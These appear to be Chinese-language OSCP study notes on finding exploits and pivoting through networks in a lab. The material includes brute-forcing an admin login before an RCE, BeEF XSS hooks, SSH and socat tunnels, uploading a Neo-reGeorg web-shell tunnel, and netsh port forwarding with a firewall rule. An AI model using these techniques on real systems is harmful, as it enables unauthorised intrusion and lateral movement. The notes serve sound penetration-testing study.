---
# System prepended metadata

title: OSCP Day 4
tags: [OSCP]

---

# OSCP Day 4
###### tags: `OSCP`
## 找Expoloit
### 惡意Exploit
```
rm -f
```
### Offsec 有提供編譯好的Exploit
### Google
### 離線版的
Exploit Frameworks
* Metasploit -> 考試只能用一台
* cobaltstrike
* oreilly network security assessment
SearchSploit
```
sudo apt update && sudo apt install exploitdb
ls -l /usr/ahrare/exploitdb
ls -l /usr/share/exploitdb/exploits
searchsploit
```
Nmap NSE Scripts
```
grep Exploits /usr/share/nmap/scripts/*.nse
```
### Example 1
10.7.30.23
* 先偵查 發現有員工介紹 先把email與name記錄下來
* 用gobuster對網頁路徑列舉發現有/project目錄是管理後台
* 打開管理後台發現是dpPM 9.1的WebApp
* 在網路上搜尋qdPM 9.1 的Exploit 這邊選RCE的漏洞
* 下載Exploit 先打開來看怎麼用 發現要帳號密碼
* 用burp suite對Admin登入介面拿之前蒐集的email name暴力破解
### Browser Exploit Framwork
BeEF
127.0.0.1:3000/ui/panel
做XSS漏洞可以用hook.js利用

---
## Port Redirection and SSH Tunneling
### Tunneling Types
kali -> A -> B
* local port forwarding: 
    * ```ssh -N -L 0.0.0.0:4455:B:445 admin@A```
* local dynamic port forwarding
    * ```ssh -N -D 0.0.0.0:9999 admin@A```
* remote port forwarding
    * ```ssh -N -R A:2345:B:5432 kali@kali```
* remote dynamic port forwarding
    * ```ssh -N -R A:2345 kali@kali```



### port forwarding
這邊是我們想要連到內網的網頁服務 所以說要把外部節點的port綁到內網的機器上 讓我們可以從外部節點連到內網的網頁
kali -> Ubuntu 10.7.30.42:4443 -> Windows 10.7.30.31:443
```bash=
# 先打進外部節點
ssh user@10.7.30.42
# 用socat 把windows的443port綁在自己的4443上
socat -ddd TCP-LISTEN:4443,fork TCP:10.7.30.31:443
```
### ssh tunneling
把內網的服務透過ssh綁在localhost上
```
sudo ssh -N -L 0.0.0.0:4443:10.7.30.31:443 user@10.7.30.42
```
### 把外部節點的機器綁在本地的1080，再透過proxychain從1080去掃內網的機器
```
sudo ssh -N -D 1080 user@10.7.30.42 
proxychains nmap -Pn -sT 10.7.30.31
```
### ssh remote port forwarding
### Neo reGeorg
用neoreg.py產生tunnel檔案
```
python3 neoreg.py generate -k 123456   
```
```
key.txt      tunnel.aspx               tunnel_compatibility.jspx  tunnel.jspx
tunnel.ashx  tunnel_compatibility.jsp  tunnel.jsp                 tunnel.php
```
上傳tunnel檔案
再用tunnel節點開啟web tunnel
```
 python3 neoreg.py -k 123456 -u http://10.7.30.42/uploads/tunnel.php
```
透過web tunnel與 proxychains 連上mysql
```
proxychains mysql -u webadm -p -h 127.0.0.1
```
透過burp suite的SOCKS proxy 去連上 1080 web nunnel
### windows 開啟 port forwarding
可以用ssh.exe
plink.exe
netsh->windows內建
```bash=
# 開啟port forwarding
netsh interface portproxy add v4tov4 listenport=8888 listenaddress=10.7.30.31 connectport=80 connectaddress=10.7.30.42
# 開啟fire wall
netsh advfirewall firewall add rule name="forward_port_rule" protocol=TCP dir=in localip=10.7.30.31 localport=8888 action=allow
```
            
